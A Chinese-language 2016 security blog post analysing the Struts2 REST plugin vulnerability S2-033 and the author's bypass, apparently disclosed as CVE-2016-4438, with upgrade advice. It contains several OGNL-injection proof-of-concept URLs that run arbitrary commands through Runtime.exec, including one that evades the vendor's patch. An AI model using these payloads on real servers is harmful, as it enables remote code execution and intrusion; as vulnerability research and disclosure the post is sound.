香草 · 2016/06/16 13:28
0x00 前言
剛過完兒童節回來發現struts2 出了S033,於是放下手中的棒棒糖趕緊分析一下。
0x01 S2-033 漏洞回顧
先來回顧一下S033
根據官方描述
很明顯有兩個關鍵點:第一個是REST Plugin,另一個是Dynamic Method Invocation is enabled.(也就是開啟動態方法執行),看到這裡需要滿足兩個條件,感覺有點雞肋啊……
直接下載回來原始碼除錯,載入官方的演示包struts2-rest-showcase.war,我們先隨便訪問一個連線/struts2-rest-showcase/orders/1
,很快定位到關鍵程式碼
Rest-plujin包裡面的org.apache.struts2.rest.RestActionMapper
首先要過第一關:dropExtension,這個方法會檢查字尾名
其中extensions的值來自配置檔案struts-plugin.xml,預設是:
因此要想通過檢查我們需要構造一個.xhtml、.xml或者.json結尾的URL,或者沒有字尾直接是xx/xx,這就不能使用”.”這顯然是不行的。
繼續往下除錯:
就是說如果剛才的連結裡面出現了!就進入下面的流程直接得到一個!後面的值,然後沒有過濾直接放在了mapping裡面
構造連結:/struts2-rest-showcase281/orders/3/1!{xxx}
在加上前面有一個allowDynamicMethodCalls的判斷,幾乎可以肯定漏洞點就是在這兒,繼續往下走,最終method會進入到,com.opensymphony.xwork2.DefaultActionInvocation類的invokeAction方法,如下圖
我們看到methodName直接進入到了ognlUtil.getValue方法,對struts2歷史漏洞有點熟悉的同學都知道,這個就是最終導致程式碼執行的地方。不多說,直接上POC:
#!shell
http://127.0.0.1:8888/struts2-rest-showcase/orders/3!%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,@[email protected]().exec(%23parameters.cmd),index.xhtml?cmd=calc
複製程式碼
0x02 繞過動態方法執行的限制
但是如果真的只是這樣這個漏洞真的是比較雞肋的,因為動態方法在這裡預設是不開啟的,那我們接著分析,有沒有可能不用開動態方法都可以執行任意程式碼了,答案是肯定的。這個地方能不能程式碼執行主要是這個地方的限制
其實只要我們繼續往下走,會發現其他地方也會mapping.setMethod程式碼如下
其實無非就是:
#!shell
http://127.0.0.1:8888/struts2-rest-showcase/orders/3/methodName
複製程式碼
這樣構造就不需要動態方法執行了,上POC:
#!shell
http://127.0.0.1:8888/struts2-rest-showcase/orders/3/%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,@[email protected]().exec(%23parameters.cmd),index.xhtml?cmd=calc
複製程式碼
這個算其實已經算是一個0day了,這個可以繞過了動態方法執行的限制。但是這還不夠,於是我馬上找來了最新官方聲稱漏洞修復的2.3.281、2.3.20.3 and 2.3.24.3,同樣的程式碼卻報錯了
難道官方是這樣修復的,改了檢查方法執行的方法checkEnableEvalExpression,這個方法是在request.xx(x)這種程式碼執行的方式後加入的判斷,主要是為了杜絕引數名上面的程式碼執行,不過好在這個地方我們不需要這種方式執行程式碼。經過研究我還是通過三目運算子繞過了這個檢測,POC:
#!shell
http://127.0.0.1:8888/struts2-rest-showcase281/orders/3/(%23mem=%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)[email protected]@getRuntime().exec(%23parameters.cmd):index.xhtml?cmd=calc
複製程式碼
6月3號的時候我給struts2官方提交了這個新的高危漏洞(CVE編號CVE-2016-4438),影響所有使用了REST外掛的使用者,無需要開啟動態方法執行(不包括struts 2.5),此後的幾天網上不斷有關於s2-033的分析與繞過出來,但是他們大都錯誤的認為需要開啟動態方法執行才能觸發漏洞,其實並不需要。正如官方回覆這個漏洞說的
去掉了with ! operator when Dynamic Method Invocation is enabled這句話,因此這個漏洞影響更為廣泛。
0x03 修復建議
在上一個版本里面也是method出的問題,當時是加入了cleanupActionName方法進行過濾,如果這個地方要修復,也可以加入這個方法過濾一下即可。更新至官方struts 2.3.29
線上檢測:www.pkav.net/tool/struts…
參考:https://cwiki.apache.org/confluence/display/WW/S2-037